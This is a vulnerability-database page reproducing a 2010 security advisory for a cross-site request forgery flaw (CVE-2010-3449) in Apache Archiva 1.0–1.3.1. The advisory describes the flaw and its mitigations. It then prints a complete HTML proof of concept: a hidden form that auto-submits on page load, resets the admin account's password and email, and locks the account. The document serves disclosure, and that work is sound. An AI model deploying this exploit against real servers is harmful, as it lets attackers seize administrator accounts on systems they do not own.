Apache Archiva 1.0 - 1.3.1 CSRF Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType

Apache Archiva CSRF Vulnerabilit

Reporter	Title	Published	Views	Family All 15
0day.today	Apache Archiva 1.0 - 1.3.1 CSRF Vulnerability	10 Dec 201000:00	–	zdt
Circl	CVE-2010-3449	9 Dec 201000:00	–	circl
CVE	CVE-2010-3449	6 Dec 201020:00	–	cve
Cvelist	CVE-2010-3449	6 Dec 201020:00	–	cvelist
Exploit DB	Apache Archiva 1.0 < 1.3.1 - Cross-Site Request Forgery	9 Dec 201000:00	–	exploitdb
EUVD	EUVD-2010-3447	7 Oct 202500:30	–	euvd
exploitpack	Apache Archiva 1.0 1.3.1 - Cross-Site Request Forgery	9 Dec 201000:00	–	exploitpack
NVD	CVE-2010-3449	6 Dec 201020:13	–	nvd
OpenVAS	Apache Archiva CSRF Vulnerabilities (Jun 2010)	1 Dec 201000:00	–	openvas
Prion	Cross site request forgery (csrf)	6 Dec 201020:13	–	prion


                                                ANATOLIA SECURITY ADVISORY
--------------------------------------

### ADVISORY INFO ###
+ Title: Apache Archiva Cross-site Request Forgery Vulnerability
+ Advisory URL: http://www.anatoliasecurity.com/adv/as-adv-2010-001.txt
+ Advisory ID:  2010-001
+ Versions: Archiva 1.0 to 1.3.1
+ Date: 29/09/2010
+ CVE-ID: CVE-2010-3449
+ Vendor: The Apache Software Foundation
+ Impact: Gaining Administrator Privileges
+ CWE-ID: 352 
+ Credit: Anatolia Security 
+ References: http://archiva.apache.org/security.html


### VULNERABLE PRODUCT ###
+ Apache Archiva: &#34;Apache Archiva is an extensible repository management software that helps taking care of your 
own personal or enterprise-wide build artifact repository. It is the perfect companion for build tools such as 
Maven, Continuum, and ANT. Archiva offers several capabilities, amongst which remote repository proxying, security 
access management, build artifact storage, delivery, browsing, indexing and usage reporting, extensible scanning 
functionality... and many more!&#34;
+ Homepage: http://archiva.apache.org



### VULNERABILITY DETAILS ###
+ Description: Apache Archiva affects from Cross-site Request Forgery. Application don&#39;t check which form sends
credentials. Technically, attacker can create a specially crafted page and force archiva administrators to view it 
and change their credentials. For prevention from CSRF vulnerabilities, application needs anti-csrf token, captcha
and asking old password for action like change password. Vulnerability patched by the Apache Archiva Team.

+ Exploit/POC: http://www.anatoliasecurity.com/exploits/archiva-csrf-poc.txt

&#60;!--

-*-*- ANATOLIA SECURITY (c) 2010 -*-*-

$ Title: Proof of Concept Code for Apache Archiva CSRF
$ ADV-ID: 2010-001
$ ADV-URL: http://www.anatoliasecurity.com/adv/as-adv-2010-001.txt
$ Technical Details: http://www.anatoliasecurity.com

* PoC created by Eliteman 
~ mail: eliteman [~AT~] anatoliasecurity [~DOT~] com
~ web: elite.anatoliasecurity.com

--&#62;
&#60;html&#62;
&#60;head&#62;
&#60;title&#62; Apache Archiva CSRF PoC &#60;/title&#62;
&#60;/head&#62;
&#60;body&#62;
&#60;form id=&#34;userEditForm&#34; name=&#34;useredit&#34; action=&#34;http://archiva:8080/archiva/security/useredit.action&#34; method=&#34;post&#34;&#62;
  &#60;input type=&#34;hidden&#34; name=&#34;user.username&#34; value=&#34;admin&#34; id=&#34;userEditForm_user_username&#34;/&#62;
  &#60;input type=&#34;hidden&#34; name=&#34;user.fullName&#34; value=&#34;OWNED0DAY&#34; id=&#34;userEditForm_user_fullName&#34;/&#62;
  &#60;input type=&#34;hidden&#34; name=&#34;user.email&#34; value=&#34;[email protected]&#34; id=&#34;userEditForm_user_email&#34;/&#62;
  &#60;input type=&#34;hidden&#34; name=&#34;user.password&#34; value=&#34;1337owned&#34; id=&#34;userEditForm_user_password&#34;/&#62;
  &#60;input type=&#34;hidden&#34; name=&#34;user.confirmPassword&#34; value=&#34;1337owned&#34; id=&#34;userEditForm_user_confirmPassword&#34;/&#62;
  &#60;input type=&#34;hidden&#34; name=&#34;user.locked&#34; value=&#34;true&#34; id=&#34;userEditForm_user_locked&#34;/&#62;
  &#60;input type=&#34;hidden&#34; name=&#34;__checkbox_user.locked&#34; value=&#34;true&#34; /&#62;
  &#60;input type=&#34;hidden&#34; name=&#34;user.passwordChangeRequired&#34; value=&#34;true&#34; id=&#34;userEditForm_user_passwordChangeRequired&#34;/&#62;
  &#60;input type=&#34;hidden&#34; name=&#34;__checkbox_user.passwordChangeRequired&#34; value=&#34;true&#34; /&#62;
  &#60;input type=&#34;hidden&#34; name=&#34;username&#34; value=&#34;admin&#34; id=&#34;userEditForm_username&#34;/&#62;
  &#60;input type=&#34;hidden&#34; id=&#34;userEditForm__submit&#34; name=&#34;method:submit&#34; value=&#34;Update&#34;/&#62;
&#60;/form&#62;
&#60;script type=&#34;text/javascript&#34;&#62;
  document.forms[0].submit();
&#60;/script&#62;
&#60;/body&#62;
&#60;/html&#62;

01 Jul 2014 00:00Current

6.5Medium risk

Vulners AI Score6.5

EPSS0.03242